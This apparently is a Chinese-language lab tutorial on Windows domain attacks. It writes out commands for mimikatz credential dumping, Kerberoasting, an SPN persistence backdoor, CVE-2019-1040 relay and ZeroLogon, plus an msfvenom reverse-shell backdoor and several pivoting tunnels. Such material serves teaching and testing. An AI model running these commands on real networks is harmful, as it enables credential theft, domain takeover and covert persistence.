内网提权

高权限读取本地密码

当域管理员在域成员主机上登录进行工作时,会将明文密码或哈希保存在本地 lsass.exe进程中,可以通过mimikatz来读取到本地的明文密码。

privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

procdump+mimikatz

如果主机存在杀软,上传的 mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式 进行绕过。

使用procdump导出lsass.exe

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump是微软官方的工具

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

对于NT 6以上可以直接使用windwos自带的功能进行dump:

任务管理器—进程—显示所有用户进程—找到lsass(Local Security Authority Process)—右键“创建转储文件”

保存到本地,通过mimikatz读取lsass.dmp的数据

如果目标主机是 windows server 2012及以上的系统,通过添加注册表,再通过例如锁屏、注销或重启等操作,让管理员重新登录及可以读取明文。

添加注册表,设置设置UseLogonCredential设置为1

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

SYSVOL组策略获取密码

在域控环境中,有个默认的共享路径

\\<domain>\SYSVOL\<domain>\

​ SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。

  • 访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。

在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。

创建组策略后,创建 \\only.com\SYSVOL\only.com\Policies\{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml文件,打开文件可以看到存储的cpassword密码。

密码是通过AES-256加密的,但是微软发布了AES的私钥

利用kali自带的 gpp-decrypt进行破解

防御

1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限

Kerberoasting

Kerberoasting攻击是Tim Medin在DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin同时发布了 配套的攻击工具kerberoast。此后,不少研究人员对Ker beroasting进行了改进和扩展,在GitHub上开发发布了 大量工具,使得Kerberoasting逐渐发展成为域攻击的常用方法之一。

基础知识

Kerberos协议认证

kerberos协议的认证授权过程,3次涉及使用不同账户的NTLM作为密钥加密数据。

  • 使用域用户的NTLM加密认证请求票据
  • KDC使用Krbtgt账号的NTLM加密认证后的票据TGT
  • KDC使用运行服务的服务账号的NTLM加密授权票据TGS

当发布Windows 2000和Active Directory时,微软打算在 Windows NT 和Windows 95 上也支持Active Directory,这意味着不仅会产生各种各样的安全问题也会导致更多不安全的配置方式。同时,也意味着,微软要保证在多个不同版本的 Windows 客户端上均支持Kerberos协议。

要实现这个想法的一个简单的办法就是在Kerberos协议中使用RC4加密算法·,并将NTLM密码哈希作为该加密算法的私钥,该私钥可用于加密或签名Kerberos票证。因此,对于攻击者来说,一旦发现了 NTLM 密码哈希,就可以随意使用,包括重新拿回Active Directory域权限(比如:黄金票证和白银票证攻击)。

SPN服务主体名称

SPN,全称Service Principal Names,SPN是服务器上所运行服务的唯一标识,每个要使用Kerberos认证的服务都需要一个SPN。

SPN分为两种,一种注册在AD上机器账户(Computers)下,另一种注册在域用户账户(Users)下

当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN格式

serviceclass/host:port/servicename

serviceclass:可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
host:有两种形式,FQDN和NetBIOS名,例如client.only.com和client
如果服务运行在默认端口上,则端口号(port)可以省略

查询SPN

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测。

使用 setspn

windows7和server2008默认自带工具

查看当前域内所有SPN

setspn.exe -q */*
setspn.exe -T only -q */*   #指定域控

Kerberosating原理

当域管理员配置Kerberos使用公开的对称加密算法时

y = f (x,key)

f为已知的对称加密算法 ,如RC4-HMAC-MD5
x为待加密的数据,包含时间戳,其他为固定格式的内容,
key为加密密钥,即NTLM
y为加密后的数据

​ 如果能在Kerberos认证过程中获取到加密后的数据,则可以根据Kerberos使用的已知的对称加密算法,使用不同的对称加密算法推算破解出未被加密的数据,从而判定使用的是否为要寻找的口令。

查找SPN服务账号的原因

在域内中主要有 主机账号、用户账号、服务账号等3种主要账号类型

  • 主机账号的口令由系统随机设置,几乎不能破解,而且每30天自动变更一次用户账号的口令复杂度由策略而定,在复杂度要求较高的域内,破解难度较大。
  • 服务账号的口令存在很大的特殊性,口令在应用软件安装时往往自动设定,复杂度往往较为简单口令几乎不会更改,因为大部分应用软件没有提供修改服务账号的功能和接口,例如运行MS SQL Server 服务的sqlsvc账号等
  • SPN存在于账号的属性中,因此可以通过查询所有账号的属性,遍历域内所有SPN服务。因为主机账号的口令几乎不能破解,所以只查询用户账号的SPN。

攻击利用

攻击前提

  1. 对于认证过程中返回的TGS,在已知加密算法的前提下,我们可以直接尝试穷举口令。(服务密码大多是默认弱密码)
  2. 可以查询到服务和服务实例账户的对应关系
  3. 控制的域内用户可以向域内的任何服务请求TGS

获取高价值SPN

使用PowerView

Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

使用kerberosast工具包

kerberosast工具包)

posershell:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

cscript GetuserSPNs.vbs

请求TGS

请求指定TGS

$SPNName = 'mysql/win10.only.com:3306'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

请求所有TGS

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

导出凭据

mimikatz.exe "kerberos::list" /export

破解

使用kerberoast工具包的 tgsrepcrakc.py脚本枚举

./tgsrepcrack.py wordlist.txt 1-40a10000-admin@mysql~win10.only.com~3306-ONLY.COM.kirbi

如果此服务是域控用户注册的,就可以得到域用户的明文密码

攻击利用二

自动实现,并且不需要使用mimikatz导出票据,普通用户权限即可

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解

脚本地址:Renamed credentials/get_spn_tickets to credentials/invoke_kerberoast,… · EmpireProject/Empire@6ee7e03 · GitHub
在域内任意普通主机上以普通用户权限执行:

Invoke-Kerberoast -OutputFormat Hashcat

#只提取出hash参数
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

使用hashcat破解

hashcat -m 13100 ./hash.txt 。/password.list -o found.txt --force

后门利用

在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令

例如为域管理员 administrator添加 SPNVNC/dc.only.com

setspn.exe -U -A vnc/dc.only.com administrator

之后能在域内任意一台主机都能获取该SPN,并且能够使用Kerberoast获得TGS,并使用hashcat破解。

防御

Kerberoasting攻击的主要前提是口令复杂度较低、 加密算法强度较弱

对抗Kerberoasting攻击也需从这2方面开展:

  • 提高服务账号的口令复杂度;
  • 尽量将域内的服务器系统升级至少至Windows 2008 系统,应用AES256高难度的加密算法.

内网协议NTLM之内网大杀器CVE-2019-1040漏洞

CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径,一个是攻击域Exchange Server,第二个是攻击域AD Server

Kerberos委派

使用任何AD帐户,通过SMB连接到目标服务器,并触发SpoolService错误。目标服务器将通过SMB回连至攻击者主机,使用ntlmrelayx将SMB身份验证中继到LDAP。使用中继的LDAP身份验证,将目标服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者作为受害者服务器上的任何用户进行身份验证。

实验环境

角色 系统版本 计算机名 地址 域
攻击者 Linux kali kali 192.168.10.3
主域控 windows server 2012R2 dc 192.168.10.11 only.com
辅助域控 windows server 2012R2 sdc 192.168.10.8 only.com

攻击者kali需要将本地DNS服务器,更改为域控,否则无法访问

安装配置辅助域控制器(参考互联网)

利用场景一

假设当我们在做横向中拿下了一台域内普通主机权限,并在主机中拿到了普通域用户 admin用户的权限,利用 admin用户创建了一个计算机用户

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test

执行impacket工具包的ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议

python3 ntlmrelayx.py -t ldap://dc.only.com -smb2support --remove-mic --delegate-access  --escalate-user test\$ -debug

--delegate-access   选项将中继计算机帐户(这里即辅助域控制器)的访问权限委托给kali

--escalate-user     设置test主机用户的资源委派

--remove-mic        最重要的参数可以去除mic验证。

攻击机对辅助域控制器(SDC)执行printerbug.py脚本
下载地址:GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit

python3 printerbug.py only.com/admin:Qwer1234@sdc.only.com 192.168.10.3

printerbug.py脚本执行成功后,将触发辅助域控制器(SDC)回连kali主机,回连使用的认证用户是辅助域控制器(SDC)本地计算机账户ONLY/SDC$。 ntlmrelayx.py通过ldap将该用户账户中继到域控服务器(DC),该本地计算机账户不具有修改ACL权限,但是可以通过此身份修改约束委派授权,授予--escalate-user指定的test$对受害计算机(辅助域控制器)的委派权限。

获取服务票据
使用getST.py脚本,发起 test$到 sdc 的S4U请求,通过 -impersonate参数模拟用户administrator并获取票据。

python3 getST.py only.com/test\$:Qwer1234 -spn cifs/sdc.only.com -impersonate administrator

接着导入票据到本地就可以访问辅助域控制器了

export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k sdc.only.com

可以直接使用secretsdump.py脚本dump出所有密码哈希值

python3 secretsdump.py -k -no-pass sdc.only.com -just-dc-user administrator

python3 secretsdump.py -k -no-pass sdc.only.com -just-dc-ntlm

利用场景二

​ 我们也可以通过直接通过ldaps来添加机器用户来达到配置委派。这个需要域控制器添加到ldaps的证书才能连接ldaps。

环境搭建

安装配置域控制器,同时开启LDAPS支持,因为该攻击方式需要添加新的计算机账户,必须在LDAPS进行

开启方法:为 Microsoft Active Directory 服务器启用 LDAP over SSL (LDAPS)。·GitHub

下面创建自签名证书,可以替换为在实际供应商购买的证书

首先使用OpenSSL,创建新的私钥和根证书。适当回答国家/州/组织的问题,并且密码需要配置

openssl genrsa -aes256 -out ca.key 4096
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt

接着把创建好的ca.crt根证书放到DC上面, WIN+R 打开运行输入MMC 接着添加到证书进入,首先根节点添加证书选项

把根证书导入,需要导入到受信任的根证书颁发机构

创建一个用于 LDAPS 的客户端证书,该证书是根据我们生成的根证书进行签名的

创建一个 request.inf的文件,内容:

[Version]
 Signature="$Windows NT$"

 [NewRequest]
 Subject = "CN=dc.only.com"     #替换为活动目录服务器的限定域名
 KeySpec = 1
 KeyLength = 2048
 Exportable = TRUE
 MachineKeySet = TRUE
 SMIME = FALSE
 PrivateKeyArchive = FALSE
 UserProtected = FALSE
 UseExistingKeySet = FALSE
 ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
 ProviderType = 12
 RequestType = PKCS10
 KeyUsage = 0xa0

 [EnhancedKeyUsageExtension]
 OID = 1.3.6.1.5.5.7.3.1 ; Server Authentication

域控中运行以下命令以创建客户端证书请求

certreq -new request.inf client.csr

接着回到具有openssl的环境

创建一个v3ext.txt,文本内容如下:

keyUsage=digitalSignature,keyEncipherment
extendedKeyUsage=serverAuth
subjectKeyIdentifier=hash

根据client.csr使用根证书签发域控制器的计算机证书client.crt,并且检测是否正确

openssl x509 \
     -req -days 3650 \
     -in client.csr -CA ca.crt -CAkey ca.key -extfile v3ext.txt \
     -set_serial 01 -out client.crt


// 检测证书是否正确
openssl x509 -in client.crt -text

将签发后的client.crt放到域控制器中,执行命令导入证书

certreq -accept client.crt

重新加载SSL证书
创建一个文件 ,文件的内容如下:

dn:
changetype: modify
add: renewServerCertificate
renewServerCertificate: 1
-

运行命令

ldifde -i -f ldap-renewservercert.txt

攻击利用

和场景一利用差不多,但是使用 ntlmrelayx.py脚本进行中继时,就不需要使用 --escalate-user参数了,会通过连接ldaps来添加机器用户,并且设置委派来进行攻击

python3 ntlmrelayx.py -t ldaps://dc.only.com -smb2support --remove-mic --delegate-access

kali 对 SDC执行printerbug.py脚本

python3 printerbug.py only.com/admin:Qwer1234@sdc.only.com 192.168.10.3

printerbug.py脚本执行成功后,将触发辅助域控制器(SDC)回连 kali主机,回连使用的认证用户是辅助域控制器(SDC)本地计算机账户ONLY/SDC$。 ntlmrelayx.py通过ldaps将该用户账户中继到域控服务器(DC),因为这种攻击方式下所冒用的身份ONLY/SDC$并不在Exchange Windows Permissions组内,不具有修改ACL权限,但是可以通过此身份在DC上添加一个新计算机账户(下图中DSCDIHOE$), 并修改其约束委派授权,授予它对受害计算机(辅助域控制器)的委派权限。

接着就可以使用getST.py脚本,使用-impersonate参数模拟用户administrator请求其票证然后导入票据即可成功攻破到辅助域控制器中成功登录进入到辅助域控制器里面。

python3 getST.py 'only.com/DSCDIHOE\$:0*+T`*Y9GnqVM{8' -spn cifs/sdc.only.com -impersonate administrator

export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k sdc.only.com

攻击Exchange

实验环境

角色 系统版本 计算机名 地址 域
攻击者 Linux kali kali 192.168.10.3
主域控 windows server 2012R2 dc 192.168.10.11 only.com
Exchange windows server 2012R2 exc 192.168.10.12 only.com

用户测试的普通域用户:admin

安装配置 Exchange Server参考:Exchange Server 2013 一步步安装图解 - 霖雨 - 博客园 (cnblogs.com)

攻击利用

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中

--remove-mic选项用于清除MIC标志,--escalate-user用于提升指定用户权限。

python3 ntlmrelayx.py -t ldap://dc.only.com -smb2support --remove-mic --escalate-user admin
  • 执行执行printerbug.py脚本,触发SpoolService的bug
python3 printerbug.py only.com/admin:Qwer1234@exc.only.com 192.168.10.3

SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是ONLY/EXC$。

接着ntlmrelayx.py开始执行LDAP攻击,加上-debug选项后可以看到更详细的信息。 首先,通过遍历验证中继帐户所在用户组及权限,发现当前账户可以创建用户、可以修改only.com域的ACL,因为域中的Exchange Windows Permissions用户组被允许修改ACL,如下图所示:

该用户组下的成员正是中继的计算机账户EXC$:

因此脚本会首选ACL来提权,因为这相比Kerberos委派创建用户的方式更隐秘一些。具体方式是通过LDAP修改域的安全描述符(Security Descriptor)

脚本修改ACL后将授予admin用户DCSync权限, 就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值

python3 secretsdump.py only.com/admin@only.com -just-dc

CVE-2020-1472-ZeroLogon

​ 这是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下(可以在域外)能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。这个漏洞的完整利用需要域控开启135和445端口。

漏洞利用成功后是把域控这个机器用户的密码置为空,与域管的密码无关。

漏洞复现

漏洞验证

下载地址:GitHub - SecuraBV/CVE-2020-1472:CVE-2020-1472 测试工具

python3 ./zerologon_tester.py dc 192.168.10.11

漏洞利用
下载地址:GitHub - dirkjanm/CVE-2020-1472:Zerologon的PoC - 所有研究学分都归Secura的Tom Tervoort所有
更改域控制器帐户的密码,将置空DC域控的密码

python3 cve-2020-1472-exploit.py dc 192.168.10.11


无需密码进行DCSync

python3 secretsdump.py only.com/dc\$@192.168.10.11 -no-pass

可以看到域控 dc主机账号密码已被置空(Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

获取shell

同步获取到HASH后,可以利用wmiexec.py登录,从而获取一个shell

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f only/administrator@192.168.10.11

恢复域控

​ 在攻击过程中,将机器的密码置为空,这一步是会导致域控脱域的。其本质原因是由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表lsass里面的密码不一致导致的。所以要将其恢复,将AD中的密码与注册表lsass里面的密码保持一致。

​ 像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中的密码会更改,而不是注册表或lsass中的密码。利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证。

导出注册表并下载到本地

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

获取导出的HASH

python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL


恢复HASH
下载地址:GitHub - risksense/zerologon: Exploit for zerologon cve-2020-1472

python3 reinstall_original_pw.py dc 192.168.10.11 c5541711fbe66d8966ca2fa36011ed6a

简单方法

在域控中执行

powershell Reset-ComputerMachinePassword


查看是否恢复

python3 secretsdump.py only/dc\$@192.168.10.11 -no-pass

对比恢复前后Hash

漏洞利用前

漏洞利用后


Hash恢复后

隧道应用

netsh

netsh端口映射内网

netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以进行非交互式的端口转发。

应用场景:

在B服务器上存在7777端口是WEB服务,现在想要kali能访问B服务器的7777端口上的内容,因为不在同一个网段kali不能直接访问B而且B服务器不能直接出网。windows自带的端口转发netsh inte=rface portproxy可以通过这个小工具在A服务器上设置端口转发

设置转发

netsh interface portproxy add v4tov4 listenport=转发端口 connectaddress=B服务器ip connectport=目标端口

netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.10.154 connectport=80

访问内容
进行转发后访问192.168.0.142:7777即可获取B服务器上的端口内容


其他内容

#清除指定规则
netsh interface portproxy delete v4tov4 listenport=7777

#查看转发规则
netsh interface portproxy show all

#清除所有规则
netsh interface portproxy reset

netsh端口转发监听metperter

​ 在服务器A上可以通过设置代理访问B服务器。如果拿到B服务器的权限,通常是生成正向的后门,然后kali的msf可以正向连接B服务器,由此得到metperter,进而进行其他操作。如果服务器B上有防火墙拦截,kali的msf不能正向连接上后门,为解决这个问题,可以通过生成一个反向后门连接到服务器A,在服务器A上再通过端口映射或者转发到kali的msf上

msf生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.153 lport=4455 -f exe >re.exe

转发端口

将端口4455转发到kali上的4455端口上

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.0.123 connectport=4455

在kali上监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.123
set lport 4455

执行后门

在B服务器上执行生成的后门文件即可获取metperter

cobalt strike多层内网上线

cobalt strike 简称cs , 一款APT攻击神器,APT长期是以攻击企业内网为主,所以考虑到内网穿透。内网穿透方式,分为正向和反向,正向是可以直连内网主机的,反向是让受害者反向连接。正向连接可以直接连接目标得到权限。下面是一个正向连接图。存在两个段teamserver不允许访问B,拥有服务器A的权限,目标是可以通过cs的正向连接连接到B

cobalt strke正向连接多层内网

首先A服务上已经有了cs的后门。通过后门查看网络信息发现存在10.10.10.0/24网段

因为服务器A是可以访问B的,所以在teamserver通过A作为跳板可以访问B。

生成监听器和后门

选择Beacon-tcp

interact进入beacon连接目标

在B服务器上执行后门文件后,interact进入服务器A的beacon正向连接目标

connect 10.10.10.154 6666

cobalt strike反向连接多层内网

上面介绍到正向连接到多层内网,如果在B服务器上有防火墙进行拦截,那么正向连接就会连接失败。为了解决这一问题可以采用cobalt stike的反向连接。

反向连接可以突破防火墙的拦截,因为是从服务器内部反向连接出战。
反向连接teamserver图

通过跳板机的listeners监听反向的shell

设置监听器名字、host、port保存即可

建立相应的后门

后门上传至服务器,服务器触发后门上线主机

burpsuite设置上游代理访问内网


当kali获得服务器B的meterperter后,可以通过设置socks代理通过在A服务
器上配置proxychains能让D访问C服务器的80端口。

​ 当D设置浏览器代理,访问C的时候实际上是D通过代理访问A的1080端口,转发到C的80端口上。因为浏览器已经设置代理,burpsuite 无法再使用浏览器代理,在这种情况下,bursuite 要想使用浏览器代理抓包,可以在burpsuite代理模块指定代理A的代理信息,但是burpsuite不支持socks4代理。可以考虑使用burpsuite的上游代理,浏览器请求C时,请求数据先经过BurpSuite,然后再流向设置的上游代理kali服务器代理,再经过B服务器即可访问到C的80端口数据

获取B的shell,添加路由

run post/multi/manage/autoroute  //查看网络子网并添加自动路由

开启socks代理


开启代理后即可通过socks代理访问到服务器C

D主机配置

使用代理软件SocksCap64配置代理服务器


默认端口是25378

访问测试

抓取并测试重放成功

Metasploit Portfwd(端口转发/重定向)

portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4--IPV6的转换转发。并且内置于meterpreter。exe单版本源码:

https://github.com/rssnsj/portfwd

Meterpreter shell中的portfwd命令最常用于端口转发,允许直接访问供给系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以通过本机转发TCP连接,从而使其成为一个支点。就像使用ssh连接的端口转发技术一样,portfwd将在与连接的机器之间进行中继

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
    -L <opt>  转发:要侦听的本地主机(可选)。反向:要连接到的本地主机。
    -R        表示反向端口正向。
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  转发:要侦听的本地端口。反向:要连接的本地端口。
    -p <opt>  转发:要连接到的远程端口。反向:要侦听的远程端口。
    -r <opt>  转发:要连接到的远程主机。

先获取目标主机shell
转发入侵机器的端口

portfwd add -l 8080 -r 10.10.10.154 -p 80
将受害者B的80端口转发到A上的8080端口

内网转发Neo-reGeorg


攻击者A,通过访问B的80端口获取一个系统权限,C数据库服务器不能出网,但是B能访问。可以在B设置代理,那么攻击者A就能通过代理访问C的服务器以及C的整个内网网段。reGeorg是一个能穿透内网的工具,基于socks5而且支持脚本众多。是一款内网穿透神器,但是作为使用率较多的软件,杀软都会拦截,使用还要做免杀处理。

​ 现有一个项目是由reGeorg修改而来,提高了连接安全,做了加密处理,进行了特征免杀

项目地址:https://github.com/L-codes/Neo-reGeorg

使用方法

python3 neoreg.py -h        # 查看帮助
# 可选参数:
  -h, --help                  # 显示此帮助信息并退出
  -u URI, --url URI           # 包含隧道脚本的url
  -k KEY, --key KEY           # 特定连接密钥
  -l IP, --listen-on IP       # 默认监听地址 (默认值: 127.0.0.1)
  -p PORT, --listen-port PORT # 默认监听端口 (默认值: 1080)
  -s, --skip                  # 跳过可用性测试
  -H LINE, --header LINE      # 将自定义标题行传递到服务器
  -c LINE, --cookie LINE      # 自定义到服务器的cookie
  -x LINE, --proxy LINE       # proto://host[:port] 在给定端口上使用代理
  --read-buff Bytes           # 本地读取缓冲区,每个日志发送的最大数据(默认值: 1024)
  --read-interval MS          # 读取数据间隔(毫秒) (默认值: 100)
  --max-threads N             # 代理最大线程数 (默认值: 1000)
  -v                          # 显示详细信息 (使用-vv或者更多的v显示更详细的信息)

设置密码并生成隧道文件,运行后会生成一个neoreg_server目录,里面包含了各种语言类型的隧道文件

python3 neoreg.py generate -k tenet
 [+] Create neoreg server files:
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel_compatibility.jsp
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel_compatibility.jspx
       => neoreg_servers/tunnel.aspx

选择相应的脚本放入边界服务器中,在本地建立Socks代理。

python3 neoreg.py -k tenet -u http://localhost/tunel.aspx

使用Neo-reGeorg建立socks隧道后

浏览器可直接通过Proxy、FoxyProxy等插件配置Socks代理

某些工具(如Nmap)不支持socks代理,则需要额外配置[Proxychains-Ng

Proxychains-Ng

安装

Kali中自带Proxychains

git clone https://github.com/rofl0r/proxychains-ng.git     # 下载
cd proxychains-ng && ./configure &&  make && make install  # 编译安装
cp ./src/proxychains.conf /etc/proxychains.conf            # 拷贝配置文件
cd .. && rm -rf proxychains-ng                             # 删除目录(可不执行)

配置

# 找到proxychains.conf文件所在的路径
# 将socks4 127.0.0.1 9095改为 socks5 127.0.0.1 1080
$ vim /etc/proxychains.conf

测试

proxychains curl -v http://10.10.10.154

SSH

SSH隧道转发的常见场景

本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。

例如,Telnet,SMTP,LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。

而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的链接,也能够通过将TCP端口转发来使用SSH进行通讯。

SSH端口转发的两大功能

  • 加密SSH Client端至SSH Server端之间的通讯数据
  • 突破防火墙的限制,完成一些之前无法建立的TCP连接

SSH本地socks5代理

ssh -qTfnN -D 7070 root@x.x.x.x(vps)
将本地7070端口转发到远程服务器
-D 动态转发
-C 压缩数据
-q 安静模式
-T 禁止远程分配终端
-n 关闭标准输入
-N 不执行远程命令
-f 将ssh放到后台运行

SSH本地转发访问内网

正向连接

ssh -L localport:remotehost:remotehostport sshserver
说明:
localport   本机开启的端口号
remotehost  连接机器的IP地址
remotehostport  转发机器的端口号
sshserver   转发机器的IP地址

选项:
-L  表示Local Port Forwarding,即本地端口转发
-f  后台启用
-N  不打开远程shell,处于等待状态(不加-N则会进入分配的命令行)
-g  启用网关功能

应用场景一

要求A能够访问内部系统C的80端口

A与B能互通,B与C能互通,A与C不能通信,C不能出网

现在有个需求A通过访问B的某个端口就能访问到C的80端口的WEB服务。

可以使用ssh进行本地转发远程IP,那么A就能通过B的端口转发访问C。

方法

在A服务器上执行

ssh -fN -L 本地端口:目标IP:目标端口   root@192.168.0.106 
ssh -fN -L 6666:10.10.10.154:80 root@192.168.0.106
解析:A在本地访问自己的6666端口,就相当于通过B访问C的80端口
即通过B将C的80端口转发到本地6666端口

然后,A上的应用访问A的6666端口的数据,就会自动通过SSH的加密隧道发到B,然后B自动解密后,发给C的80号端口。这样,A就实现了穿透防火墙到达B并访问到了C

应用场景二

把目标的端口转发出来

例如mysql服务器只允许本地访问,在外部不能访问。这就很好地保护了mysql免受外部攻击

ssh -L 3307:localhost:3306 root@192.168.0.106 -fN

进行登录测试

mysql -h 127.0.0.1 -P 3307 -u root -p

SSH远程转发访问内网

远程转发是指把登录主机所在网络中某个端口通过本地主机端口转发到远程主机上。

远程转发通过参数 -R 指定,格式:

-R [登录主机:]登录主机端口:本地网络主机:本地网络主机端口

举例:ssh -R 0.0.0.0:8080:host2:80 user@host1。这条命令将host2的80端口映射到待登录主机host1的8080端口,前提是本地主机可以正常连接host2的80端口。

远程转发属于反向连接的一种,所以可以穿透内网防火墙。在内网渗透中比较好用。

以下是一个经典的案例:

A可以与B互通,B与C可以互通,A与C不能通信。

现在想让A访问C的80端口,需要在B做转发,但是B与C内部有防火墙拦截,只允许3306通过,不允许80端口通过。

这就需要用到SSH远程转发了
首先修改sshd_config里的AllowTcpForwarding选项,否则-R远程端口转发会失败。

默认转发到远程主机上的端口绑定的是127.0.0.1,如要绑定0.0.0.0需要打开sshd_config里的GatewayPorts选项。这个选项如果由于权限没法打开也有办法,可配合ssh -L将端口绑定到0.0.0.0,这样A就可以通过指定端口访问到C


远程转发测试

在C服务器上执行

ssh -R 8080:10.10.10.154:80 root@10.10.10.153

现在我们就可以在A上通过访问B的8080端口,进而访问到C的80端口了

使用EW做Socks5正向和方向代理穿透内网

EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等, EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,也可以支持多平台间的转接通讯,如Linux、Windows、MacOS、Arm-Linux等。

根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

目前该工具已经永久停止更新并且作者已经提交了查杀规则

EW正向代理访问内网


A获取B的权限后在B设置代理访问,那么A就能访问C
根据B的系统上传对应版本的EW并在B服务器里执行

ew_for_linux64.exe -s ssocksd -l 8888
建立一个socks代理监听本地8888端口

测试

EW反向代理访问内网


在C上执行

ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024

在B上执行

ew_for_Win.exe -s rcsocks -l 1080 -e 1024

在A上kali中使用proxychins增加socks代理为B

使用nmap扫描测试 10.10.10.153的80端口

proxychains nmap -Pn -sT 10.10.10.153 -p 80

Tunna搭建HTTP正向代理

Tunna1.1 是 secforce 在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了SOCKS4a。

Tunna可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。

用法

python proxy.py -u <remoteurl> -l <localport> [options]

选项

--help,-h    显示帮助消息并退出。

--url=URL,-u   URL远程webshell

--lport=LOCAL_PORT,-l LOCAL_PORT    本地监听端口

--verbose,-v    输出数据包大小

--buffer=BUFFERSIZE,-b BUFFERSIZE*      HTTP请求大小(一些webshels对大小有限制)

没有SOCKS代理的选择

如果使用SOCKS代理,则忽略此选项

